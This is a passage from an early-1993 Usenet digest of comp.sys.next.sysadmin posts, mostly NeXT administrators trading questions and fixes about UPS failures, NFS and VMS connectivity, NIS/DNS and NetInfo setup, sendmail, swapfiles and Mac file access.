> powered itself off in the middle of the night. Now this
> machine (25 MHz 040 NeXTstation) sits on a UPS
>
We have an installation with a Sun server on a UPS.
We also got similar behavior to what you described.
For three days in a row, around lunch time, the server
just powered off.
After a few service visits, we determined that it was actually
the *UPS* that was faulty. Apparently there is a switch in
the UPS which is responsible for "switching over" in case
of a power failure. We don't exactly know why the UPS failed,
but one could speculate that there was a faulty contact which
was unable to handle the live current for an extended period of time.
It never switched over, it just started switching *OFF*.
Kind of makes you wonder about the usefuleness of a UPS huh?
P.S. Needless to say, the UPS was replaced and we have not
had the problem again.
Regards,
John
--
John Robison - john@oceania.com
NeXTMail Gladly Accepted
What I say has absolutely nothing to do with my employer.
From: anstine@uniblab.sas.upenn.edu (David Anstine)
Newsgroups: comp.sys.next.sysadmin
Subject: Multiple file systems with autonfsmount
Message-ID: <107267@netnews.upenn.edu>
Date: 29 Jan 93 21:33:23 GMT
Sender: news@netnews.upenn.edu
I saw this somewhere before,
How do you mount all filesystems from a machine under /Net using autonfsmount?
Some of mine do it, others don't.
Another question, why isn't stuff like this in the FAQ?
-dave
Newsgroups: comp.sys.next.sysadmin
From: Nitezki@NiDat.sub.org (Peter Nitezki)
Subject: Re: NeXTstation to DEC MicroVAX connectivity
Message-ID: <1993Jan29.205631.6424@nidat.sub.org>
Keywords: Terminal emulation, NeXT-DEC connectivity
Sender: nitezki@nidat.sub.org
Organization: private site of Peter Nitezki, Kraichtal, Germany
References: <1k48gaINN51e@darkstar.UCSC.EDU>
Date: Fri, 29 Jan 1993 20:56:31 GMT
In article <1k48gaINN51e@darkstar.UCSC.EDU> isbell@cats.ucsc.edu (Art
Isbell) writes:
>
>
> A client needs to connect a NeXTstation to her MicroVAX 3900 running VMS
to use the NeXTstation as a MicroVAX terminal. It's connected to a
DECserver terminal server via DECnet and (over?) ethernet. Terminal is a
VT100 emulator, so it seems that it would generate escape sequences
familiar to the MicroVAX.
>
> Seems like several approaches are possible:
>
> 1. Connect the NeXTstation to the DECserver via a serial line. If
> this is possible, how does one direct Terminal to connect to that
> serial port? Is any additional harware or software required on
> either end (other than a serial cable :-)
>
No problem! The cable (null modem) is described in the user manual that
comes with the NeXT. Then set a profile (speed, line and HW-protocol) for
the connection in /etc/remote and use tip (see the man-pages) for to hook
up to the DEC.
> 2. Make the NeXTstation an ethernet node and use telnet or rlogin to
> establish a MicroVAX login session. In my distant foggy past, I
> seem to recall using telnet to login to a VAX, so I assume that
> telnet and possible the "r" utilities (rlogin, rsh, rcp, etc.)
> are available for a MicroVAX. What additional hardware/software
> would be required?
>
Even better! You will need to install TCP/IP on VAX/VMS. Three choices (as
far as I know): TGV Multinet is the most functional and complete package
(my favorite), DEC UCX is good but not as far reaching as Multinet,
Wolongong was first but I haven't seen it in practical use yet.
> 3. (Fill in your favorite suggestion here.)
>
Solution 1 is definitely cheapest but only providing terminal service.
Solution 2 is best for full functionality but costs several dollares!
P.S.: When you get your consultation fee send my share to the address
below (this is shareknowledege. It's not free! When you're satisfied with
with my service you're supposed to pay your share %-|)
--
Peter Nitezki | Nitezki@NiDat.sub.org # Blessed thou who knoweth
Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
D-7527 Kraichtal 2 | Fax : +49 7251 69215 # delight of being hooked
GERMANY | # up to the Net. Peter 1,3-5
From: wainner@newsserver.rest.tasc.com (Scott Wainner)
Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin
Subject: Re: Sun NIS client won't resolve DNS from Netinfo
Date: 29 Jan 1993 11:34:39 -0500
Organization: TASC
Message-ID: <1kbmavINNnps@sun.rest.tasc.com>
References: <1k9mkbINNd5m@sun.rest.tasc.com>
Keywords: Netinfo, NIS, YP, DNS
In <1k9mkbINNd5m@sun.rest.tasc.com> wainner@rest.tasc.com. (Scott Wainner) writes:
>Netters,
> I configured our NeXT Netinfo server to also serve NIS
>clients on our network. I set up a Sun as an NIS client. The setup
>was clean and logins, mounts, etc were successful. BUT, the Sun won't
>resolve FQDNs now. I've got a resolv.conf in the Sun that refers to
>the DNS server (a NeXT) which works correctly with 'nslookup'. I know
>that Sun's are shipped with the "broken" libraries but the documentation
>indicates that Sun's running NIS will use FQDN's if the Makefile is
>setup to use the B=-b option. Looking at the Makefile on the NeXT, there
>is no B option. So I added B=-b. Nope - that's not it! So I added a
>+ at the end of the /etc/hosts file that the yp/Makefile uses. Bzzzt -
>wrong, try again! Now what. I really don't want to "fix" the Sun's
>with the custom shared libraries that use DNS without NIS. Any ideas
>any body?
____________________________________________________________________
I got a reply from:
From: Thomas Tornblom <Thomas.Tornblom@Nexus.Comm.SE>
Who wrote:
You could try to insert an entry 'YP_INTERDOMAIN' into the NIS maps
hosts.byaddr and hosts.byname. I think this is what the B=-b flag does
on Suns. It really is the clients that does the DNS lookup, it only
has to be told to do it.
Now I don't know how the maps are maintained on the Next but on Suns
you can create a plain ascii file from a map with
/usr/etc/yp/makedbm -u <mapname> and add the YP_INTERDOMAIN line and
then recreate the dbm maps.
____________________________________________________________________
Checking the NeXT version of makedbm, there is no -b option allowed.
So I added YP_INTERDOMAIN to the flat /etc/hosts file, but the
makedbm ignores it (probably an invalid entry). If NeXT makedbm
doesn't allow the YP_INTERDOMAIN, then I guess I'll have to let the
Sun be the master. More configuration fun ... Any suggestions?
--
Scott Wainner Internet: swainner@tasc.com
The Analytic Sciences Corp wainner@hq.af.mil
12100 Sunset Hills Road
Reston, Virginia 22091 Phone: (703) 834-5000
Newsgroups: comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin
From: andrew@cubetech.com (Andrew Loewenstern)
Subject: Re: Microphone II (send/receive e-mail via compuserve?)
Message-ID: <1993Jan29.202529.27831@cubetech.com>
Organization: Cube Technologies, Inc.
References: <1993Jan27.183752.25063@pencom.com>
Date: Fri, 29 Jan 1993 20:25:29 GMT
In article <1993Jan27.183752.25063@pencom.com> ricardo@pencom.com (Ricardo Parada) writes:
>
>Has anybody used Microphone II or any other software packaged to automatically
>download e-mail from compuserve?
>
>Does it work?
One of the guys here does that with MPII Pro and Loran... It works
great!
>Does it work with NeXTmail?
I don't think so...
andrew
Newsgroups: comp.sys.next.sysadmin
From: mddoyle@door.Princeton.EDU (Mark D. Doyle)
Subject: NeXTMail aliases and sendmail
Message-ID: <1993Jan29.211502.19828@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Fri, 29 Jan 1993 21:15:02 GMT
I have just gotten my NeXT connected to the net after waiting five months
and I am trying to configure my mail correctly. Is there a way to have the
full addresses of my aliases defined in Private Groups appear on
the To: and CC: lines instead of my aliases appearing in the form
alias@zeke.rockefeller.edu? I am not a sendmail guru,but I could
follow directions.
Thanks for any help.
Mark Doyle
mdd@zeke.rockefeller.edu
Organization: Sponsored account, Engineering And Public Policy, Carnegie Mellon, Pittsburgh, PA
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.soft-sys.nextstep
Message-ID: <YfOfSwi00WBL02AFcp@andrew.cmu.edu>
Date: Sat, 30 Jan 1993 12:15:40 -0500
From: Yael Shavit <ys11+@andrew.cmu.edu>
Subject: M.M and R.W at NeXT
Hi,
I'm looking for the e-mail address and/or phone number of the following
people at NeXT:
Morrise Meyer,
Richard Williamson.
I would like to have the address or phone number of anyone else at NeXT
(or elsewhere) that is involved in developing (or using) the phonekit
and the Phone Connector application, using Hayes ISDN extender.
Thanks a lot,
Yael Shavit
Information Networking Institute
Carnegie Mellon University
Newsgroups: comp.sys.next.sysadmin
From: lfahnoe@kegworks.mn.org (Larry Fahnoe)
Subject: Re: Using NeXT's and VAX/VMS systems
Message-ID: <1993Jan30.175037.18778@kegworks.mn.org>
Organization: The Kegworks, Minneapolis, Minnesota
References: <z7r3cdb@rpi.edu>
Date: Sat, 30 Jan 1993 17:50:37 GMT
In article <z7r3cdb@rpi.edu> gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes:
>A local user is thinking of buying some NeXT's to augment the work they
>already do on some Vax's running VMS. Most of the data they have is
>currently on the VMS systems, and he was wondering how easy it is for NeXT's
>and VMS systems to share data. Does VMS support NFS, for instance? Are the
>line-ending characters the same in VMS as they are in Unix/NeXT land?
No, stock VMS does not support NFS. You would need to add it via either
TGV's MultiNet (first choice) or Digital's Ultrix Connection (a good
choice if your site happens to have access to the Campus-wide Software
License Grant Program). There may be other packages that offer NFS
support for VMS.
No, the line ending characters are not necessarily the same. RMS (the set
of system services on VMS that support files) has a great deal more
information stored in the file and its assoicated header about both the
file and record formats. On a VMS system the closest thing to a UNIX file
would be a file with Stream-LF (a character stream delimited by linefeeds)
format. I expect that the above products both support some form of file
conversion; I know that Digital's does. If your user's data is stored in
RMS relative or indexed files, expect to convert them to flat files first;
the VMS Convert utility will do this nicely.
With a little creativity and patience, you can share data with a
VMS system, and your user can have the best of both worlds.
--
Larry Fahnoe Cellular One
612/832-7616 7900 S. Xerxes Ave, Suite 301
lfahnoe@kegworks.mn.org Minneapolis, MN 55431
From: maurices@spock.dis.cccd.edu (Maurice Shihadi)
Newsgroups: comp.sys.next.sysadmin
Subject: Xgator Experiences?
Date: 30 Jan 1993 15:23:01 -0800
Organization: Coast Community College District, Costa Mesa, CA
Distribution: world
Message-ID: <1kf2klINNn4m@spock.dis.cccd.edu>
I've been waiting patiently for someone to develop the Xgator equivalent
for NeXTstep but so far it looks like I'll have to get hold of an X windows
environment and Xgator. Does anyone have it running on NS 3.0? Caymen
doesn't so they can't comment as of yet. Could someone post the nitty
gritty details of the most recent version? You know, things like
"can you get any more mac realestate on the NeXT 17" monochrome monitor;
how fast is the re-draw; when was Xgator last upgraded; what features have
been added, etc.". Also, which Xwindows package will work the best with
Xgator and NS 3.0? Thanks.
maurices
Newsgroups: comp.sys.next.sysadmin
From: Nitezki@NiDat.sub.org (Peter Nitezki)
Subject: Re: swapfile keeps growing . . .
Message-ID: <1993Jan30.135149.7220@nidat.sub.org>
Sender: nitezki@nidat.sub.org
Organization: private site of Peter Nitezki, Kraichtal, Germany
References: <1993Jan27.154600.11256@mattcube>
Date: Sat, 30 Jan 1993 13:51:49 GMT
In article <1993Jan27.154600.11256@mattcube> matt%mattcube@concert.net
(Matthew M. Stecker) writes:
> I know that this has been asked before, but how to fix a swapfile under
> 3.0 that keeps growing and growing . . . ?
>
> This same machine did not have this problem under 2.2
>
Known problem in currently used version of Mach (NeXt's Unix kernel).
Reboot will fix it! Sorry, no other remedy known to me.
--
Peter Nitezki | Nitezki@NiDat.sub.org # Blessed thou who knoweth
Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
D-7527 Kraichtal 2 | Fax : +49 7251 69215 # delight of being hooked
GERMANY | # up to the Net. Peter 1,3-5
From: pat%expovision@cam.org (Patrique Lalonde)
Newsgroups: comp.sys.next.sysadmin
Subject: Keeping permissions on external HD
Message-ID: <1993Jan29.230503.255@cesar.uucp>
Date: 29 Jan 93 23:05:03 GMT
Sender: pat@cesar.uucp
Hello all,
I know that this question was been asked and answered a while back but
here goes again.
How can we keep the ownership, group and permissions of folders and files
on an external hard disk (Quantum 105 mb)?
Any help would be great!
Thanks in advance
Patrique
=====NeXt Mail
Patrique Lalonde
pat%cesar@cam.org
From: oscar@msen.com (Oscar Linares)
Newsgroups: comp.sys.next.sysadmin
Subject: LOOKING FOR awkcc
Date: 31 Jan 1993 15:33:57 GMT
Organization: Msen, Inc. -- Ann Arbor, Michigan
Message-ID: <1kgrhkINN7er@nigel.msen.com>
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Next NFS server upgrade
Date: 31 Jan 1993 16:42:39 GMT
Organization: The University of Maryland, College Park
Message-ID: <1kgvhvINNjs5@ni.umd.edu>
References: <gfNjYKq00YUn0=N1kh@andrew.cmu.edu>
In article <gfNjYKq00YUn0=N1kh@andrew.cmu.edu> Tod McQuillin <tm8t+@andrew.cmu.edu> writes:
>We're running a NeXT cube (68040/25Mhz) with 2.5 GB of disk serving 50
>NFS clients or so. We're considering upgrading the server with a
>Turbo board (68040/33Mhz).
>
>My question is, with such a configuration, is upgrading to a Turbo
>likely to help? It's quite possible that the machine is disk-bound,
>in which case increasing the CPU speed won't significantly help.
You'd likely be better off, for performance and function, to buy a Sun
or some other box for your NFS server if you are really server
performance-bound. If you've got a large, heavy NFS load, having
multiple SCSI buses available will reduce I/O contention on the bus
between multiple drives, as will support for synchronous SCSI
transfers so that each transfer uses the bus for less time. You get
neither of these on a NeXT right now.
You may also be able to get a more modern NFS server implementation
that allows you to export different parts of a file system with
different permissions. Hard to believe, but the NFS on the NeXT
doesn't allow this. Wouldn't you like to be able to export, say,
/NextApps, /NextAdmin, /NextLibrary read only to a bunch of hosts, but
your home directory read/write to only your workstation? Can't do
that on a NeXT if they all live in the same file system on the server.
Louis Mamakos
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Netinfo error on Standalone machine
Message-ID: <C1qBwF.KK1@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <mehta-anand-290193150903@conn-hall-kstar-node.net.yale.edu>
Date: Sun, 31 Jan 1993 17:43:13 GMT
mehta-anand@yale.edu (Anand R. Mehta) writes:
>I have a standalone NeXT machine that I am currently testing a PPP link
>with. On two occasions I have had my machine refuse to boot because of a
>netinfo error. The message was preceded by another one saying that
>broadcast to 255.255.255.255 failed, that the netinfo server could not be
>found, and that there were no working netinfo databases. As a result, the
>windowserver refuses to come up.
>I have copied local.nidb and hostconfig and hosts from the template
>directories, but the same errors continue. The only previous changes that
>I had made were to the hostname in HostManager.app and in niloading some
>new hosts using
In most likelihood what you need to do is to restore to the virgin
local.nidb and hostconfig and bring it up and run HostManager. The
important thing to change is 'Netinfo Network' to 'Non-Netinfo
Network'. It is a netinfo network and will search for a server by
default, even if there is no ethernet connection (en0 is down).
I just set up my new machine with Mamakos SLIP and had this problem
until I remembered this trick.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: maslen@gday.Eng.Sun.COM (Thomas Maslen)
Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin
Subject: Re: Sun NIS client won't resolve DNS from Netinfo
Date: 31 Jan 1993 19:35:12 GMT
Organization: Sun Microsystems Inc., Mountain View, CA
Distribution: world
Message-ID: <lmoafgINNh2q@exodus.Eng.Sun.COM>
References: <1k9mkbINNd5m@sun.rest.tasc.com> <1kbmavINNnps@sun.rest.tasc.com>
Keywords: Netinfo, NIS, YP, DNS
wainner@newsserver.rest.tasc.com (Scott Wainner) writes:
...
>I got a reply from:
>From: Thomas Tornblom
>Who wrote:
>You could try to insert an entry 'YP_INTERDOMAIN' into the NIS maps
>hosts.byaddr and hosts.byname. I think this is what the B=-b flag does
>on Suns. It really is the clients that does the DNS lookup, it only
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>has to be told to do it.
Would that it were true... no, SunOS 4.x machines expect the NIS *server*
(doesn't matter whether it's a master or a slave) to commune with the DNS
on their behalf, then reformat the DNS reply and hand it back to them; as
far as the client is concerned, it did a NIS request and got a NIS reply,
but the information happened to come from DNS.
My guess (and that's all it is) is that if you want to run
- SunOS 4.x clients
- with NetInfo servers
- and no SunOS 4.x NIS servers
- and get at DNS information
then the resolv+ package may be the way to go (I haven't used it, but the
comments on the comp.sys.sun.* newsgroups seem to be pretty favourable).
>Scott Wainner Internet: swainner@tasc.com
>The Analytic Sciences Corp wainner@hq.af.mil
>12100 Sunset Hills Road
>Reston, Virginia 22091 Phone: (703) 834-5000
Thomas Maslen
maslen@eng.sun.com My opinions, not Sun(Soft)'s
From: eilts@late.e-technik.uni-erlangen.de (Hinrich Eilts)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: gated runs amuck on NS3.0
Date: Sun, 31 Jan 1993 20:28:30 GMT
Organization: LATE, Uni-Erlangen, Germany
Message-ID: <1khcpeEsr6@uni-erlangen.de>
My gated runs ok with NS2.1 but now it's runs amuck: it allocated lots of
storage up to an allocation-error (by about 60 MB) which let's him die.
I compiled new with the 3.0-NeXT-cc without greater problems (correction
of some headerfile-locations) my 2.1-sources, but it's the same error.
The computer is a Next-Station mono.
Any help will be highly considered.
--
Bye | G i b D O S |
Hinrich Eilts | k e i n e |
(e-mail: eilts@late.e-technik.uni-erlangen.de) | C h a n c e ! |
From: mcn@cwru.edu (Michael C. Neuman)
Newsgroups: comp.sys.next.sysadmin
Subject: Port 2453
Date: 1 Feb 1993 05:18:09 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Distribution: world
Message-ID: <1kibqhINNj27@usenet.INS.CWRU.Edu>
Anyone know what port 2453 is? It's not in services, and all NeXTs seem
to answer on it. (Also, some bugs exist with it that by hitting the right
combination of characters, you can crash the target machine)...
--
Mike Neuman mcn@b62103.student.cwru.edu
"To make a machine that will be proud of us." - Thinking Machine's motto
==============================================================================
* Maintainer: NeXT netrek archive--b62103.student.cwru.edu:/pub/games/netrek *
Newsgroups: comp.sys.next.sysadmin
From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin)
Subject: logging for anonymous ftp
Message-ID: <1993Feb1.135606.29026@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Mon, 1 Feb 1993 13:56:06 GMT
How does one add the "-l" (for transaction logging) switch to ftpd in the
NetInfoManager? Is it possible to specify a log file other than syslog? Is it possible to provide additional parameters so that only anonymous ftp logging is performed?
John Price-Wilkin
jpw@Virginia.EDU
Newsgroups: comp.sys.next.sysadmin
From: me@next45.wsi.physik.tu-muenchen.de(Matthias Rosenberger)
Subject: Re: swapfile keeps growing . . .
Message-ID: <1993Feb1.173515.10436@news.lrz-muenchen.de>
Keywords: swaptab, swapfile grows, hiwat
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <1993Jan30.135149.7220@nidat.sub.org>
Date: Mon, 1 Feb 1993 17:35:15 GMT
In article <1993Jan30.135149.7220@nidat.sub.org> Nitezki@NiDat.sub.org
(Peter Nitezki) writes:
> In article <1993Jan27.154600.11256@mattcube> matt%mattcube@concert.net
> (Matthew M. Stecker) writes:
> > I know that this has been asked before, but how to fix a swapfile
under
> > 3.0 that keeps growing and growing . . . ?
> >
> > This same machine did not have this problem under 2.2
> >
> Known problem in currently used version of Mach (NeXt's Unix kernel).
> Reboot will fix it! Sorry, no other remedy known to me.
> --
> Peter Nitezki | Nitezki@NiDat.sub.org # Blessed thou who knoweth
> Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
> D-7527 Kraichtal 2 | Fax : +49 7251 69215 # delight of being hooked
> GERMANY | # up to the Net. Peter 1,3-5
Did you ever try to set an upper limit ('hiwat=...') for the swapfile in
the file /etc/swaptab? Have a look to the swaptab man page!
It works well at system 2.1 and should at 3.0, too.
Newsgroups: comp.sys.next.sysadmin
From: ohara@leland.Stanford.EDU (Moriyoshi Ohara)
Subject: Re: Getting a Mac to print on the NeXT's printer
Message-ID: <1993Jan30.003106.21319@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSG, Stanford University, CA 94305, USA
References: <C1Lty0.Itu@unix.portal.com>
Distribution: portal
Date: Sat, 30 Jan 93 00:31:06 GMT
In article <C1Lty0.Itu@unix.portal.com>, eric@whyanext.com (Eric Schwartz) writes:
|> I've just successfully hooked up a Mac Performa to my NeXT via Ethernet, and
|> have had quite good luck with e-mail, FTP, and telnet sessions by using
|> TCP/Connect II for the Mac.
|>
|> I am now trying to get a program called "lpr" to run on the Mac, but there
|> have been a few problems. First, there seem to be some PostScript/font
|> incompatibilities. Worse, my print queue on the NeXT seems to get clogged up
|> after the Mac sends things to it (possibly only PostScript files), and it will
|> only occasionally get the pages printed, _if_ I reboot the machine.
|>
|> Worse yet, after the Mac has botched up the print queue, I get a message that
|> reads something like, "Cannot connect to print daemon." when I try to print
|> from within NeXTSTEP, at which point I must reboot to return things to normal.
|>
|> Can someone recommend a solution to this problem, or point me towards a
|> package for either the NeXT or the Mac that will allow reasonably transparent
|> print service on the Mac's side?
|>
After similar experiences, I found "macps" that converts Mac PostScript files
for Unix printers. You can anonymous-ftp from info-mac/unix at
sumex-aim.stanford.edu
Mori
Organization: Arizona State University
Date: Monday, 1 Feb 1993 09:37:50 MST
From: <ASODL@ASUACAD.BITNET>
Message-ID: <93032.093750ASODL@ASUACAD.BITNET>
Newsgroups: comp.sys.next.sysadmin
Subject: Sendmail Not Receiving 3.0
Hello!
We are having a major problem here with receiving mail. But first, let me give
some background about this problem.
Under 2.1 we configured sendmail and it worked fine. Likewise, sendmail
continued to work once we "upgraded" to 3.0. However, and for whatever reason,
there were bad sectors reported for the server and we had to rebuild 3.0 from
scratch. SInce then, we have only been able to send mail over the network but
not receive it. Mail now bounces or loops back to the sender.
I seem to recall seeing some bug reports about sendmail listed but I don't have
them for reference. I as well as many others who have to presently divert mail
we appreciate any clues and suggestions for solving this problem.
OL
Newsgroups: comp.sys.next.sysadmin
From: harit@kripalu.com
Subject: Re: Using NeXT's and VAX/VMS systems
Message-ID: <1993Jan30.134517.1116@uunet!cbmvax!xmws!kripalu>
Sender: harit@uunet!cbmvax!xmws!kripalu
Organization: Kripalu Center
References: <z7r3cdb@rpi.edu>
Date: Sat, 30 Jan 93 13:45:17 GMT
In article <z7r3cdb@rpi.edu> gad@eclipse.its.rpi.edu (Garance A. Drosehn)
writes:
> A local user is thinking of buying some NeXT's to augment the work they
> already do on some Vax's running VMS. Most of the data they have is
> currently on the VMS systems, and he was wondering how easy it is for NeXT's
> and VMS systems to share data. Does VMS support NFS, for instance? Are the
> line-ending characters the same in VMS as they are in Unix/NeXT land?
>
> He asked me, and since I have never worked with a VMS system I figured I'd
> ask the net. For anyone who is using NeXT's with VMS systems, how well do
> they work together? I'd appreciate hearing from anyone who has done this
> already. Either reply to me (email) or just follow-up. I'll summarize what
> email messages I receive.
>
> Thanks.
>
> --
> Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
> ITS Systems Programmer (handles NeXT-type mail)
> Rensselaer Polytechnic Institute; Troy NY USA
If you get the MULTINET product from TGV you get TCP/IP, NFS server, and NFS
client for VMS. This lets you cross mount disks and share files. We have our
VMS accounting system generate reports to text files that are automatically
copied to the NeXT disk and then loaded into Sybase on the NeXT. Then we use
the great NeXT tools to access the database. It all just works.
--
Michael Allen Latta
Kripalu Center
harit@kripalu.com
(413)448-3288
Newsgroups: comp.sys.next.sysadmin
From: plenson@hi_presure_lab (Peter Lenson)
Subject: awk ARGV ARGC ( unable to access )
Organization: University of Western Ontario
Date: Mon, 1 Feb 1993 13:53:48 GMT
Message-ID: <1993Feb1.135348.16815@julian.uwo.ca>
Sender: news@julian.uwo.ca (USENET News System)
Hi this is probably one of those FAQ's, however, I'm in rush. Does
the version of awk that comes with NeXTStep 3.0 support the built-in
variable ARGV,ARGC, as defined in THE AWK Programming Language book.
Also if it doesn't what else is missing?
Please post responses
thanx
peter lenson
Newsgroups: comp.sys.next.sysadmin
From: cowboy@trans.csuohio.edu (Joe Rosenfeld)
Subject: Seeking bitnet sendmail.cf configuration assistance
Message-ID: <1993Feb1.222030.4579@news.csuohio.edu>
Keywords: bitnet sendmail
Sender: news@news.csuohio.edu (USENET News System)
Organization: Cleveland State University
Date: Mon, 1 Feb 1993 22:20:30 GMT
Hello. I am trying to configure my NS 3.0's sendmail to send mail to Bitnet addresses, but I am
not sure what to do, and i was hoping someone could provide some assistance.
If, so I will summarize to the list so others can take advantage also.
Thanks,
Joe
| Joe Rosenfeld cowboy@trans.csuohio.edu
| CSU Law Library joer@inca.law.csuohio.edu
| "We look for things ... to make us go!"
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd)
Newsgroups: comp.sys.next.sysadmin
Subject: Fonts on Mac HD: How to easily access under 3.0?
Summary: Need help with getting files off a Mac HD into NS3.0
Keywords: Fonts, NeXT, Macintosh, NeXTStep 3.0, Knucklehead
Message-ID: <1993Feb1.232947.15429@galileo.cc.rochester.edu>
Date: 1 Feb 93 23:29:47 GMT
Sender: news@galileo.cc.rochester.edu
Organization: University of Rochester - Rochester, New York
I have a 20 meg Hard Drive filled with fonts and their respective AFM files.
The HD has been formatted as a Mac HD, and I got the fonts from my Mac. I'd
like to access the fonts and put them into my Station, but the first step is
to get them all of the HD and into my NeXT. I can see the filenames, and I
can actually view the data within the files using Edit and specifying
"fontname.#rsrc#" to load them. However: I can't view that very same data
from a terminal window by typing "cat fontname.#rsrc#"
Is there a trick in 3.0 that lets me access the invisible fork on Mac files
more easily than what I'm doing?
Is there a manual on how to do this? For instance, where did that first
person find the method of adding ".#rsrc#" to filenames? I suppose it's in
the on-line manuals, but I can't find it. It seems fairly silly to let one
mount Mac HDs and then not be able to access the data on them. BTW: Does
the program "mfrc" works under 3.0? Does it work at all? It says that it
will convert Mac fonts to NeXT, and I'm sincerely hoping that it still
works.
--
John Todd | University of Rochester, Rochester NY USA Earth Milky Way
CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo
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From: tilley@ccu.umanitoba.ca (Richard Tilley)
Newsgroups: comp.sys.next.sysadmin,news.software.nn
Subject: Re: nn: "Database magic number mismatch" error?
Message-ID: <C1t2AJ.DB@ccu.umanitoba.ca>
Date: 2 Feb 93 05:08:42 GMT
References: <1993Jan28.093953.2249@cognet.ucla.edu>
Sender: news@ccu.umanitoba.ca
Organization: University of Manitoba, Winnipeg, Canada
In <1993Jan28.093953.2249@cognet.ucla.edu> bill@ganesha.cognet.ucla.edu (William M. Eldridge) writes:
>Trying to get nn compiled on a NeXT Turbo Color running 3.0,
>using latest fully patched version of nn.
> 1) There's a conf/s-NeXT1-0.h file, but no updates for 2.0
> or 3.0 - is this cool, or is a more recent version available?
> 2) I'm NFS mounting the nn database from a Sun. When I type
> "nn" I get a "Database magic number mismatch" error.
> Nothing I found in Next or nn FAQs talks about this one.
> nn runs fine on the Suns.
I had the same problem and was not able to fix it.
I have heard that you need to use NETWORK_DATABASE on both the Sun and NeXT.
Our Sun does not use this, so I was unable to test this theory.
Please let us all know if you get it working.
--
.. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: bob@ruf.rice.edu (Robert Morrison Dana)
Subject: Term: a SLIP replacement
Message-ID: <C1suB5.16J@rice.edu>
Sender: news@rice.edu (News)
Organization: Rice University
Date: Tue, 2 Feb 1993 02:16:17 GMT
SLIP users take note:
There now is a communications protocol available called "term" that
provides much of the functionality of SLIP. In particular, it allows
users to have multiple logins over the same modem line, run X-windows
clients, and map a login prompt of one machine to a telnet port of the
other machine, in either direction. The best part is that it is
entirely a user-level program- no root access is needed at either in
for installation or use. The same server is run at both ends of the
line and connections can be made in either direction.
What's the catch?
Term is being developed along with and for Linux, a public domain UNIX
for 386. It compiles for the NeXT so that Linux machines may connect
to NeXT servers. Theoretically, it should work just as well between
two NeXTs as a NeXT and a Linux box. I can compile it, but it doesn't
work.
Does anybody have this running on a NeXT? It looks like a fantastic
idea, and from what I have seen of it on Linux machines, a significant
improvement over SLIP for those of us who don't need/want all the other
things SLIP does (like NFS). I'll be happy to provide more info for
those who want it.
-Robert
--
Robert Dana <bob@rice.edu>
ONCS Student UNIX systems programmer
Rice University, Houston, TX (This is me, not Rice)
Newsgroups: comp.sys.next.sysadmin
From: tilley@ccu.umanitoba.ca (Richard Tilley)
Subject: Re: several subdomains
Message-ID: <C1t4st.1Bn@ccu.umanitoba.ca>
Keywords: Netinfo Management
Sender: news@ccu.umanitoba.ca
Organization: University of Manitoba, Winnipeg, Canada
References: <1993Jan29.095112.18458@alijku05.edvz.uni-linz.ac.at>
Date: Tue, 2 Feb 1993 06:02:52 GMT
In <1993Jan29.095112.18458@alijku05.edvz.uni-linz.ac.at> zettler@opal.risc.uni-linz.ac.at (Peter Zettler) writes:
> We want to use a NeXT station in another subnet.
>Does anyone know:
> (i) Is it necessary to set up a three level netinfo domain
> for doing this.
no.
> (ii) If no, how do we have to set up the NeXT working together with
> the Netinfo server in a different subnet?
the local ni domains need the ip address of the host serving the root ni domain.
This defaults to "broadcasthost", which your router will likely filter out.
The root ni domain needs the ip addresses of each host with a local ni domain.
In hostconfig, set router to -ROUTED- or the ip address of your router.
Get the netmask correct.
> (iii) If yes, is there any other description of making a three-level
> domain out of a two-level domain than the one of NeXT Inc.?
> We already did but we failed due to a loop inside the database.
Ouch. There is a program to fix that on the SupportBulletin disk.
A mid level domain needs to know the ip address of its parent and all its children.
--
.. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
From: florent@ecu.unice.fr (Florent Musso)
Newsgroups: comp.sys.next.sysadmin
Subject: entry for128 MB Magneto-optical drive
Date: 2 Feb 1993 16:40:20 GMT
Organization: University of Nice Sophia-Antipolis
Distribution: world
Message-ID: <1km85kINNqnc@taloa.unice.fr>
I am using a 128 MB Magneto-optical drive on my NeXT computer. I do not
have the good entry in /etc/disktab and the use the entry of the 256 NeXT
optical drive. i works but it is very slow so is there the good entry
available on a server? I use a 650 magneto optical drive with an
appropriate entry and it is faster than the 128 MB drive.
Thanks
Florent Musso
email:florent@ecu.unice.fr (NeXT mail)
From: stolcke@ICSI.Berkeley.EDU (Andreas Stolcke)
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.sysadmin
